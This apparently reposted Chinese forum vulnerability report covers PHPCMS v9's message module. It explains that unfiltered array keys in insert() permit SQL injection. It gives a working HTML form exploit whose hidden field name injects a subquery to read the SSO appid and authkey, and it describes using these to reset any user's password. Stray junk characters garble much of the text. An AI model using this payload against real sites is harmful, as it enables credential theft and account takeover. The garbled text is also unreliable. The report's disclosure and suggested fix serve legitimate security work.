|
|
简要描述:1 h3 y, A/ E) c! B
$ j* z' u& ^/ F5 p
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。0 M' F9 r* T) x3 ?. n1 e* u
D9 d; N& n6 K明天再更新下一个漏洞。
/ a9 B3 K. n: t5 P' Y详细说明:. ?; Q. ]- R( H+ W* ?* N, R
在/phpcms9/phpcms/modules/message/index.php中有代码如下:
' M- e8 ]& h8 M$ h+ |# q8 l# P3 u d) _. w; |: M( y
$messageid = $this->message_db->insert($_POST['info'],true); ?& j& L2 y$ G
7 {9 ?! O' A1 `4 I5 _# Z& ]
5 E6 S$ d4 {) Q' Finsert方法是key value的,代码如下:
' y# [" T; E" w% a4 D4 b
, t! V% u3 a7 f. W1 f9 Tpublic function insert($data, $table, $return_insert_id = false, $replace = false) {* _- U# J, J5 `- v
if(!is_array( $data ) || $table == '' || count($data) == 0) {
" g! X) L# H5 _- |+ \" v+ I! L return false;5 A- Y6 F7 U+ r6 i" ?
}
& d0 [1 M; X4 S2 u' m; T2 G2 P* s 3 Z0 x0 P2 Q; V4 J0 B9 a
$fielddata = array_keys($data);# P, n. t/ n8 v) S* A5 N" }
$valuedata = array_values($data);
* g. Z" a$ c' C0 F array_walk($fielddata, array($this, 'add_special_char'));! _# [6 r) @9 |$ m
array_walk($valuedata, array($this, 'escape_string'));
9 u' F& W/ z5 P, R9 x
8 V6 `# Q8 G& G i# G0 _5 S+ x. C $field = implode (',', $fielddata);
/ m4 P! Q' {5 R. g $value = implode (',', $valuedata);
0 I+ l8 p0 [( X- Q& k
% o. Z9 d7 S: e1 H+ H $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';, I& s5 U' n. _7 i5 ~
$sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';' I) o4 ^1 ~& s; o
$return = $this->execute($sql);& [4 z- R! q8 M; D
return $return_insert_id ? $this->insert_id() : $return;! K6 z: {0 z: X2 \
}+ B9 c! C2 e) S
, P( U( {0 n. t* H
0 e6 C/ k5 l, ~4 D2 h: u嗯,很遗憾的是/ g; d& D; c! w9 g7 h9 [
( ~0 H: D* N$ ^! V- n, u0 Varray_walk($fielddata, array($this, 'add_special_char'));
+ u6 g$ x# A( _
* t y/ @# g7 y% I& k. T- Q# N4 n0 p$ \0 t( R
中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。
+ l" D% [3 ]* X6 L- f+ u& j+ {% T0 X+ A9 _2 p4 c
到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。' e7 z5 y: L0 Q; B" a% E
+ T! i7 Y0 A: H7 u( A$ C p) c漏洞证明:
J0 Z2 o5 {& T- x$ Y2 t6 @读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。
$ R; ]- w6 s3 k
+ ^0 R8 I% U$ { P4 y1 r' L
" }1 r5 h; A: H C8 @表单如下:用户名什么的得自己改一改。
6 y* Y9 \$ T6 S- s9 i0 d+ N<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
& F% T h, `# T u) b+ H6 t<table width="100%" cellspacing="0" class="table_form">
) U' p: R7 E( [+ a3 S<tr>4 m1 \& g5 b& c! q1 }+ ~8 B
<th>标 题:</th>
" s- |- S& L8 E6 L" y0 Y<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh" class="input-text"/></td>
0 e. Q6 ]/ b' U6 a2 L4 @</tr> # J! t* \9 r) o2 Z% c, W
<tr>5 l% v! _" v5 E" \2 B' o
<th>内 容:</th>0 ^" \, B+ @% [
<td><textarea name="info[content]" id="con" rows="5" cols="50"></textarea></td>/ U0 q( `, G- R- v
</tr>
/ c$ N4 P j6 `0 h" @<input type="hidden" name="info[replyid]" value="2" /> 5 P) g4 Z* \# [
<input type="hidden" name="info[send_to_id]" value="cc" /> # K, p2 e- A. G1 i
<input type="hidden" name="info[send_from_id]" value="hh">) P) S3 c7 y5 K F: X0 }/ J8 d0 N
<!-- 漏洞的利用重点在这里开始 -->! U( r6 J' w9 Y% _5 J% ]8 z
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" /> ; M; M. Z) S0 _
<!-- 漏洞的利用重点在这里结束 -->
1 q$ Z% y% N8 F4 K; [<tr>
) X0 _0 g3 `! U) ?<th>验证码:</th>
" e& e- ]# U5 h' a0 |- Q) W) V<td><input name="code" type="text" id="code" size="10" class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>9 P+ G% J/ f5 o* `
</tr>8 K- T9 g4 k! P/ h: E3 q4 l
<tr>' r2 z- k+ D4 m9 @5 v8 Z
<td></td>
9 }% K8 E- S0 [: I8 p7 b<td colspan="2"><label>% \. X9 c# z c% q& U0 n- w9 b8 v, i
<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
# R* \. t' Q4 J, Y2 b</label></td># v5 g1 s7 i( M+ S) t8 d' t% @
</tr>! p: A5 _, c" n$ t9 g0 O8 T7 X
</table>
- v2 D3 C$ b% q" \8 B" @</form>
/ x! ^" ^# s5 ]. S* W; M在add_special_char函数内对key做过滤就可以了。
. f" Y# l2 ?5 z* V
9 E0 D: k# ]. M8 _
' f! I$ q: Z6 h" `1 T
+ X3 f6 O6 @# D7 X |
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|